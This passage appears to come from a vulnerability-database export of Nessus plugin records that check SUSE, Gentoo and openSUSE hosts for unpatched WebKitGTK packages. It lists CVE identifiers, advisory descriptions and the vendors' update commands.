script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8808/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8811/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8812/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8813/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8814/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8815/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8816/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8819/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8820/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8823/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8835/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8844/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8846/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2020-10018/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2020-11793/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2020-3862/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2020-3864/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2020-3865/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2020-3867/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2020-3868/\");\n # https://www.suse.com/support/update/announcement/2020/suse-su-20201135-1/\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?718c807f\");\n script_set_attribute(attribute:\"solution\", value:\n\"To install this SUSE Security Update use the SUSE recommended\ninstallation methods like YaST online_update or 'zypper patch'.\n\nAlternatively you can run the command listed for your product :\n\nSUSE OpenStack Cloud Crowbar 8:zypper in -t patch\nSUSE-OpenStack-Cloud-Crowbar-8-2020-1135=1\n\nSUSE OpenStack Cloud 8:zypper in -t patch\nSUSE-OpenStack-Cloud-8-2020-1135=1\n\nSUSE OpenStack Cloud 7:zypper in -t patch\nSUSE-OpenStack-Cloud-7-2020-1135=1\n\nSUSE Linux Enterprise Workstation Extension 12-SP4:zypper in -t patch\nSUSE-SLE-WE-12-SP4-2020-1135=1\n\nSUSE Linux Enterprise Software Development Kit 12-SP5:zypper in -t\npatch SUSE-SLE-SDK-12-SP5-2020-1135=1\n\nSUSE Linux Enterprise Software Development Kit 12-SP4:zypper in -t\npatch SUSE-SLE-SDK-12-SP4-2020-1135=1\n\nSUSE Linux Enterprise Server for SAP 12-SP3:zypper in -t patch\nSUSE-SLE-SAP-12-SP3-2020-1135=1\n\nSUSE Linux Enterprise Server for SAP 12-SP2:zypper in -t patch\nSUSE-SLE-SAP-12-SP2-2020-1135=1\n\nSUSE Linux Enterprise Server 12-SP5:zypper in -t patch\nSUSE-SLE-SERVER-12-SP5-2020-1135=1\n\nSUSE Linux Enterprise Server 12-SP4:zypper in -t patch\nSUSE-SLE-SERVER-12-SP4-2020-1135=1\n\nSUSE Linux Enterprise Server 12-SP3-LTSS:zypper in -t patch\nSUSE-SLE-SERVER-12-SP3-2020-1135=1\n\nSUSE Linux Enterprise Server 12-SP3-BCL:zypper in -t patch\nSUSE-SLE-SERVER-12-SP3-BCL-2020-1135=1\n\nSUSE Linux Enterprise Server 12-SP2-LTSS:zypper in -t patch\nSUSE-SLE-SERVER-12-SP2-2020-1135=1\n\nSUSE Linux Enterprise Server 12-SP2-BCL:zypper in -t patch\nSUSE-SLE-SERVER-12-SP2-BCL-2020-1135=1\n\nSUSE Enterprise Storage 5:zypper in -t patch\nSUSE-Storage-5-2020-1135=1\n\nHPE Helion Openstack 8:zypper in -t patch\nHPE-Helion-OpenStack-8-2020-1135=1\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:F/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2020-3868\");\n script_set_attribute(attribute:\"cvss3_score_source\", value:\"CVE-2020-10018\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/12/18\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/04/28\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/04/29\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:libjavascriptcoregtk-4_0\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:libjavascriptcoregtk-4_0-18-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:libwebkit2gtk-4_0\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:libwebkit2gtk-4_0-37-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:typelib-1_0-JavaScriptCore\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:typelib-1_0-WebKit2\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:typelib-1_0-WebKit2WebExtension\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:webkit2gtk-4_0-injected-bundles\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:webkit2gtk-4_0-injected-bundles-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:webkit2gtk3-debugsource\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:webkit2gtk3-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:novell:suse_linux:12\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"SuSE Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2020-2023 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/SuSE/release\", \"Host/SuSE/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/SuSE/release\");\nif (isnull(release) || release !~ \"^(SLED|SLES)\") audit(AUDIT_OS_NOT, \"SUSE\");\nos_ver = pregmatch(pattern: \"^(SLE(S|D)\\d+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"SUSE\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^(SLES12)$\", string:os_ver)) audit(AUDIT_OS_NOT, \"SUSE SLES12\", \"SUSE \" + os_ver);\n\nif (!get_kb_item(\"Host/SuSE/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (cpu !~ \"^i[3-6]86$\" && \"x86_64\" >!< cpu && \"s390x\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"SUSE \" + os_ver, cpu);\n\nsp = get_kb_item(\"Host/SuSE/patchlevel\");\nif (isnull(sp)) sp = \"0\";\nif (os_ver == \"SLES12\" && (! preg(pattern:\"^(2|3|4|5)$\", string:sp))) audit(AUDIT_OS_NOT, \"SLES12 SP2/3/4/5\", os_ver + \" SP\" + sp);\n\n\nflag = 0;\nif (rpm_check(release:\"SLES12\", sp:\"4\", reference:\"libjavascriptcoregtk-4_0-18-2.28.1-2.50.3\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"4\", reference:\"libjavascriptcoregtk-4_0-18-debuginfo-2.28.1-2.50.3\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"4\", reference:\"libwebkit2gtk-4_0-37-2.28.1-2.50.3\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"4\", reference:\"libwebkit2gtk-4_0-37-debuginfo-2.28.1-2.50.3\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"4\", reference:\"typelib-1_0-JavaScriptCore-4_0-2.28.1-2.50.3\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"4\", reference:\"typelib-1_0-WebKit2-4_0-2.28.1-2.50.3\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"4\", reference:\"webkit2gtk-4_0-injected-bundles-2.28.1-2.50.3\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"4\", reference:\"webkit2gtk-4_0-injected-bundles-debuginfo-2.28.1-2.50.3\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"4\", reference:\"webkit2gtk3-debugsource-2.28.1-2.50.3\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"3\", reference:\"libjavascriptcoregtk-4_0-18-2.28.1-2.50.3\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"3\", reference:\"libjavascriptcoregtk-4_0-18-debuginfo-2.28.1-2.50.3\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"3\", reference:\"libwebkit2gtk-4_0-37-2.28.1-2.50.3\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"3\", reference:\"libwebkit2gtk-4_0-37-debuginfo-2.28.1-2.50.3\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"3\", reference:\"typelib-1_0-JavaScriptCore-4_0-2.28.1-2.50.3\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"3\", reference:\"typelib-1_0-WebKit2-4_0-2.28.1-2.50.3\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"3\", reference:\"webkit2gtk-4_0-injected-bundles-2.28.1-2.50.3\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"3\", reference:\"webkit2gtk-4_0-injected-bundles-debuginfo-2.28.1-2.50.3\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"3\", reference:\"webkit2gtk3-debugsource-2.28.1-2.50.3\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"2\", reference:\"libjavascriptcoregtk-4_0-18-2.28.1-2.50.3\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"2\", reference:\"libjavascriptcoregtk-4_0-18-debuginfo-2.28.1-2.50.3\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"2\", reference:\"libwebkit2gtk-4_0-37-2.28.1-2.50.3\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"2\", reference:\"libwebkit2gtk-4_0-37-debuginfo-2.28.1-2.50.3\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"2\", reference:\"typelib-1_0-JavaScriptCore-4_0-2.28.1-2.50.3\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"2\", reference:\"typelib-1_0-WebKit2-4_0-2.28.1-2.50.3\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"2\", reference:\"typelib-1_0-WebKit2WebExtension-4_0-2.28.1-2.50.3\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"2\", reference:\"webkit2gtk-4_0-injected-bundles-2.28.1-2.50.3\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"2\", reference:\"webkit2gtk-4_0-injected-bundles-debuginfo-2.28.1-2.50.3\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"2\", reference:\"webkit2gtk3-debugsource-2.28.1-2.50.3\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"2\", reference:\"webkit2gtk3-devel-2.28.1-2.50.3\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"5\", reference:\"libjavascriptcoregtk-4_0-18-2.28.1-2.50.3\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"5\", reference:\"libjavascriptcoregtk-4_0-18-debuginfo-2.28.1-2.50.3\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"5\", reference:\"libwebkit2gtk-4_0-37-2.28.1-2.50.3\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"5\", reference:\"libwebkit2gtk-4_0-37-debuginfo-2.28.1-2.50.3\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"5\", reference:\"typelib-1_0-JavaScriptCore-4_0-2.28.1-2.50.3\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"5\", reference:\"typelib-1_0-WebKit2-4_0-2.28.1-2.50.3\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"5\", reference:\"typelib-1_0-WebKit2WebExtension-4_0-2.28.1-2.50.3\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"5\", reference:\"webkit2gtk-4_0-injected-bundles-2.28.1-2.50.3\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"5\", reference:\"webkit2gtk-4_0-injected-bundles-debuginfo-2.28.1-2.50.3\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"5\", reference:\"webkit2gtk3-debugsource-2.28.1-2.50.3\")) flag++;\n\n\nif (flag)\n{\n set_kb_item(name:'www/0/XSS', value:TRUE);\n if (report_verbosity > 0) security_hole(port:0, extra:rpm_report_get());\n else security_hole(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"webkit2gtk3\");\n}\n", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-05-18T14:57:06", "description": "The remote host is affected by the vulnerability described in GLSA-202003-22 (WebkitGTK+: Multiple vulnerabilities)\n\n Multiple vulnerabilities have been discovered in WebKitGTK+. Please review the referenced CVE identifiers for details.\n Impact :\n\n A remote attacker could execute arbitrary code, cause a Denial of Service condition, bypass intended memory-read restrictions, conduct a timing side-channel attack to bypass the Same Origin Policy or obtain sensitive information.\n Workaround :\n\n There is no known workaround at this time.", "cvss3": {}, "published": "2020-03-16T00:00:00", "type": "nessus", "title": "GLSA-202003-22 : WebkitGTK+: Multiple vulnerabilities", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-8625", "CVE-2019-8674", "CVE-2019-8707", "CVE-2019-8710", "CVE-2019-8719", "CVE-2019-8720", "CVE-2019-8726", "CVE-2019-8733", "CVE-2019-8735", "CVE-2019-8743", "CVE-2019-8763", "CVE-2019-8764", "CVE-2019-8765", "CVE-2019-8766", "CVE-2019-8768", "CVE-2019-8769", "CVE-2019-8771", "CVE-2019-8782", "CVE-2019-8783", "CVE-2019-8808", "CVE-2019-8811", "CVE-2019-8812", "CVE-2019-8813", "CVE-2019-8814", "CVE-2019-8815", "CVE-2019-8816", "CVE-2019-8819", "CVE-2019-8820", "CVE-2019-8821", "CVE-2019-8822", "CVE-2019-8823", "CVE-2019-8835", "CVE-2019-8844", "CVE-2019-8846", "CVE-2020-3862", "CVE-2020-3864", "CVE-2020-3865", "CVE-2020-3867", "CVE-2020-3868"], "modified": "2022-05-27T00:00:00", "cpe": ["p-cpe:/a:gentoo:linux:webkit-gtk", "cpe:/o:gentoo:linux"], "id": "GENTOO_GLSA-202003-22.NASL", "href": "https://www.tenable.com/plugins/nessus/134599", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Gentoo Linux Security Advisory GLSA 202003-22.\n#\n# The advisory text is Copyright (C) 2001-2022 Gentoo Foundation, Inc.\n# and licensed under the Creative Commons - Attribution / Share Alike \n# license. See http://creativecommons.org/licenses/by-sa/3.0/\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(134599);\n script_version(\"1.4\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/05/27\");\n\n script_cve_id(\"CVE-2019-8625\", \"CVE-2019-8674\", \"CVE-2019-8707\", \"CVE-2019-8710\", \"CVE-2019-8719\", \"CVE-2019-8720\", \"CVE-2019-8726\", \"CVE-2019-8733\", \"CVE-2019-8735\", \"CVE-2019-8743\", \"CVE-2019-8763\", \"CVE-2019-8764\", \"CVE-2019-8765\", \"CVE-2019-8766\", \"CVE-2019-8768\", \"CVE-2019-8769\", \"CVE-2019-8771\", \"CVE-2019-8782\", \"CVE-2019-8783\", \"CVE-2019-8808\", \"CVE-2019-8811\", \"CVE-2019-8812\", \"CVE-2019-8813\", \"CVE-2019-8814\", \"CVE-2019-8815\", \"CVE-2019-8816\", \"CVE-2019-8819\", \"CVE-2019-8820\", \"CVE-2019-8821\", \"CVE-2019-8822\", \"CVE-2019-8823\", \"CVE-2019-8835\", \"CVE-2019-8844\", \"CVE-2019-8846\", \"CVE-2020-3862\", \"CVE-2020-3864\", \"CVE-2020-3865\", \"CVE-2020-3867\", \"CVE-2020-3868\");\n script_xref(name:\"GLSA\", value:\"202003-22\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2022/06/13\");\n\n script_name(english:\"GLSA-202003-22 : WebkitGTK+: Multiple vulnerabilities\");\n script_summary(english:\"Checks for updated package(s) in /var/db/pkg\");\n\n script_set_attribute(\n attribute:\"synopsis\",\n value:\n\"The remote Gentoo host is missing one or more security-related\npatches.\"\n );\n script_set_attribute(\n attribute:\"description\",\n value:\n\"The remote host is affected by the vulnerability described in GLSA-202003-22\n(WebkitGTK+: Multiple vulnerabilities)\n\n Multiple vulnerabilities have been discovered in WebKitGTK+. Please\n review the referenced CVE identifiers for details.\n \nImpact :\n\n A remote attacker could execute arbitrary code, cause a Denial of\n Service condition, bypass intended memory-read restrictions, conduct a\n timing side-channel attack to bypass the Same Origin Policy or obtain\n sensitive information.\n \nWorkaround :\n\n There is no known workaround at this time.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security.gentoo.org/glsa/202003-22\"\n );\n script_set_attribute(\n attribute:\"solution\",\n value:\n\"All WebkitGTK+ users should upgrade to the latest version:\n # emerge --sync\n # emerge --ask --oneshot --verbose '>=net-libs/webkit-gtk-2.26.4'\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2020-3868\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:gentoo:linux:webkit-gtk\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:gentoo:linux\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/12/18\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/03/15\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/03/16\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2020-2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Gentoo Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/Gentoo/release\", \"Host/Gentoo/qpkg-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"qpkg.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/Gentoo/release\")) audit(AUDIT_OS_NOT, \"Gentoo\");\nif (!get_kb_item(\"Host/Gentoo/qpkg-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\n\nif (qpkg_check(package:\"net-libs/webkit-gtk\", unaffected:make_list(\"ge 2.26.4\"), vulnerable:make_list(\"lt 2.26.4\"))) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:qpkg_report_get());\n else security_hole(0);\n exit(0);\n}\nelse\n{\n tested = qpkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"WebkitGTK+\");\n}\n", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-05-24T14:32:48", "description": "This update for webkit2gtk3 to version 2.26.2 fixes the following issues :\n\nWebkit2gtk3 was updated to version 2.26.2 (WSA-2019-0005 and WSA-2019-0006, bsc#1155321 bsc#1156318) \n\nSecurity issues addressed :\n\n - CVE-2019-8625: Fixed a logic issue where by processing maliciously crafted web content may lead to universal cross site scripting. \n\n - CVE-2019-8674: Fixed a logic issue where by processing maliciously crafted web content may lead to universal cross site scripting.\n\n - CVE-2019-8707: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\n - CVE-2019-8719: Fixed a logic issue where by processing maliciously crafted web content may lead to universal cross site scripting.\n\n - CVE-2019-8720: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\n - CVE-2019-8726: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\n - CVE-2019-8733: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\n - CVE-2019-8735: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\n - CVE-2019-8763: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\n - CVE-2019-8768: Fixed an issue where a user may be unable to delete browsing history items.\n\n - CVE-2019-8769: Fixed an issue where a maliciously crafted website may reveal browsing history.\n\n - CVE-2019-8771: Fixed an issue where a maliciously crafted web content may violate iframe sandboxing policy.\n\n - CVE-2019-8710: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\n - CVE-2019-8743: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\n - CVE-2019-8764: Fixed a logic issue where by processing maliciously crafted web content may lead to universal cross site scripting.\n\n - CVE-2019-8765: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\n - CVE-2019-8766: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\n - CVE-2019-8782: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\n - CVE-2019-8783: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\n - CVE-2019-8808: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\n - CVE-2019-8811: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\n - CVE-2019-8812: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\n - CVE-2019-8813: Fixed a logic issue where by processing maliciously crafted web content may lead to universal cross site scripting.\n\n - CVE-2019-8814: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\n - CVE-2019-8815: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\n - CVE-2019-8816: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\n - CVE-2019-8819: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\n - CVE-2019-8820: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\n - CVE-2019-8821: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\n - CVE-2019-8822: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\n - CVE-2019-8823: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\nThis update was imported from the SUSE:SLE-15:Update update project.", "cvss3": {}, "published": "2019-12-03T00:00:00", "type": "nessus", "title": "openSUSE Security Update : webkit2gtk3 (openSUSE-2019-2591)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-8551", "CVE-2019-8558", "CVE-2019-8559", "CVE-2019-8563", "CVE-2019-8625", "CVE-2019-8674", "CVE-2019-8681", "CVE-2019-8684", "CVE-2019-8686", "CVE-2019-8687", "CVE-2019-8688", "CVE-2019-8689", "CVE-2019-8690", "CVE-2019-8707", "CVE-2019-8710", "CVE-2019-8719", "CVE-2019-8720", "CVE-2019-8726", "CVE-2019-8733", "CVE-2019-8735", "CVE-2019-8743", "CVE-2019-8763", "CVE-2019-8764", "CVE-2019-8765", "CVE-2019-8766", "CVE-2019-8768", "CVE-2019-8769", "CVE-2019-8771", "CVE-2019-8782", "CVE-2019-8783", "CVE-2019-8808", "CVE-2019-8811", "CVE-2019-8812", "CVE-2019-8813", "CVE-2019-8814", "CVE-2019-8815", "CVE-2019-8816", "CVE-2019-8819", "CVE-2019-8820", "CVE-2019-8821", "CVE-2019-8822", "CVE-2019-8823"], "modified": "2022-05-27T00:00:00", "cpe": ["p-cpe:/a:novell:opensuse:libjavascriptcoregtk-4_0-18", "p-cpe:/a:novell:opensuse:libjavascriptcoregtk-4_0-18-32bit", "p-cpe:/a:novell:opensuse:libjavascriptcoregtk-4_0-18-32bit-debuginfo", "p-cpe:/a:novell:opensuse:libjavascriptcoregtk-4_0-18-debuginfo", "p-cpe:/a:novell:opensuse:libwebkit2gtk-4_0-37", "p-cpe:/a:novell:opensuse:libwebkit2gtk-4_0-37-32bit", "p-cpe:/a:novell:opensuse:libwebkit2gtk-4_0-37-32bit-debuginfo", "p-cpe:/a:novell:opensuse:libwebkit2gtk-4_0-37-debuginfo", "p-cpe:/a:novell:opensuse:libwebkit2gtk3-lang", "p-cpe:/a:novell:opensuse:typelib-1_0-javascriptcore-4_0", "p-cpe:/a:novell:opensuse:typelib-1_0-webkit2-4_0", "p-cpe:/a:novell:opensuse:typelib-1_0-webkit2webextension-4_0", "p-cpe:/a:novell:opensuse:webkit-jsc-4", "p-cpe:/a:novell:opensuse:webkit-jsc-4-debuginfo", "p-cpe:/a:novell:opensuse:webkit2gtk-4_0-injected-bundles", "p-cpe:/a:novell:opensuse:webkit2gtk-4_0-injected-bundles-debuginfo", "p-cpe:/a:novell:opensuse:webkit2gtk3-debugsource", "p-cpe:/a:novell:opensuse:webkit2gtk3-devel", "p-cpe:/a:novell:opensuse:webkit2gtk3-minibrowser", "p-cpe:/a:novell:opensuse:webkit2gtk3-minibrowser-debuginfo", "cpe:/o:novell:opensuse:15.1"], "id": "OPENSUSE-2019-2591.NASL", "href": "https://www.tenable.com/plugins/nessus/131535", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from openSUSE Security Update openSUSE-2019-2591.\n#\n# The text description of this plugin is (C) SUSE LLC.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(131535);\n script_version(\"1.6\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/05/27\");\n\n script_cve_id(\"CVE-2019-8551\", \"CVE-2019-8558\", \"CVE-2019-8559\", \"CVE-2019-8563\", \"CVE-2019-8625\", \"CVE-2019-8674\", \"CVE-2019-8681\", \"CVE-2019-8684\", \"CVE-2019-8686\", \"CVE-2019-8687\", \"CVE-2019-8688\", \"CVE-2019-8689\", \"CVE-2019-8690\", \"CVE-2019-8707\", \"CVE-2019-8710\", \"CVE-2019-8719\", \"CVE-2019-8720\", \"CVE-2019-8726\", \"CVE-2019-8733\", \"CVE-2019-8735\", \"CVE-2019-8743\", \"CVE-2019-8763\", \"CVE-2019-8764\", \"CVE-2019-8765\", \"CVE-2019-8766\", \"CVE-2019-8768\", \"CVE-2019-8769\", \"CVE-2019-8771\", \"CVE-2019-8782\", \"CVE-2019-8783\", \"CVE-2019-8808\", \"CVE-2019-8811\", \"CVE-2019-8812\", \"CVE-2019-8813\", \"CVE-2019-8814\", \"CVE-2019-8815\", \"CVE-2019-8816\", \"CVE-2019-8819\", \"CVE-2019-8820\", \"CVE-2019-8821\", \"CVE-2019-8822\", \"CVE-2019-8823\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2022/06/13\");\n\n script_name(english:\"openSUSE Security Update : webkit2gtk3 (openSUSE-2019-2591)\");\n 